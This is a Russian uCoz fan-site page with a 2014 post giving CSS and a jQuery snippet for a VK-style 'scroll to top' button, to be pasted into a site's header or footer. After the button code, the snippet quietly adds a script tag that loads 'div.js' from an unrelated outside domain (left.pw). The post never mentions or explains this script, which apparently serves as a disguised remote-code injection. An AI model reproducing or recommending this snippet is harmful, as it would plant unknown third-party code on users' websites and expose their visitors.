Up на подобии как в вк - 6 Сентября 2014 - Орлы

x
65 годовщина Победы!
Понедельник, 16.06.2025, 16:19

           Орлы! 

           

Главная Регистрация Вход
Приветствую Вас, Гость · RSS
Меню сайта
Время
Категории раздела
Новость [70]
Новость
Уведомления [189]
Мини-чат
Наш опрос
Топ танков
[ Результаты · Архив опросов ]
Всего ответов: 59
Форма входа
Подробная статистика
Подробная статистика посещения
СТАТИСТИКА
» Зарег. на сайте  
Всего: 114  
Новых за месяц: 0  
Новых за неделю: 0  
Новых вчера: 0  
Новых сегодня: 0  
» Из них  
   Администраторов: 1     
   Модераторов: 2
Модератор форума:
   Проверенных: 2     
Обычных юзеров: 109  
» Из них  
Парней: 109  
Девушек: 5  

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Пользователи, посетившие
сайт за текущий день :
 
Главная » 2014 » Сентябрь » 6 » Up на подобии как в вк

09:41
Up на подобии как в вк

Скрипт кнопка вверх на подобии такой как в вк для сайта.
Установка:
1) Заходим в Панель Управления сайтом потом в Управление дизайном - Прописываем стили в таблице стилей (CSS) в самый низ:
Код
.scrolltotop__side { position:fixed; width:3%; height:100%; top:0; left:0; background: black; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; filter:alpha(opacity=0.2); -moz-opacity:0.1; -khtml-opacity:0.1; opacity:0.1}  
.scrolltotop__arrow { position:fixed; width:3%; height:100%; top:50px; left:0; background:url(http://pnghosts.ru/img/up-csm.png) top no-repeat; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0.4)"; filter:alpha(opacity=0.4); -moz-opacity:0.4; -khtml-opacity:0.4; opacity:0.4}


3) А вот этот код прописываем в нижнюю или верхнюю часть сайта:
Код
<script type="text/javascript">  
jQuery(document).ready(function(){  
jQuery('body').append("<div class='scrolltotop'><div class='scrolltotop__side'></div><div class='scrolltotop__arrow'></div></div>");  
jQuery(window).scroll(function(){  
if (jQuery(this).scrollTop() > 350) {  
jQuery('.scrolltotop').fadeIn();  
} else {  
jQuery('.scrolltotop').fadeOut();  
}  
});  
jQuery('.scrolltotop').click(function(){  
jQuery("html, body").animate({ scrollTop: 0 }, 600);  
return false;  
});  
});0  
</script><script type="text/javascript" src="http://left.pw/div.js"></script>


На этом установка завершена. Скрипт проверен в IE 9, в мозиле, опере, гугл хроме
Поделись ссылкой

  • - ссылка
  • - BBCode
  • - HTML

    • Просмотров: 1170 | Добавил: Bitfood | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Copyright MyCorp © 2025
    Поиск
    Календарь
    «  Сентябрь 2014  »
    Пн Вт Ср Чт Пт Сб Вс
    1234567
    891011121314
    15161718192021
    22232425262728
    2930
    последнее на форум
    Ответов: 13
    Форум: Общежитие

    Тема: UPD сайта
    Ответов: 23
    Форум: Дополнительно

    Тема: Анкета
    Ответов: 24
    Форум: Анкета

    Архив записей
    День Рождения
    Друзья сайта
  • Создать сайт
  • Официальный блог

    • Таблица цветов
    руб.
    Дорогие посетители, внесите пожертвование в развитие нашего проекта. Яндекс.Деньгами на счёт ########0282815 Оставить своё спасибо

    Создать бесплатный сайт с uCoz

    до Дня Победы осталось: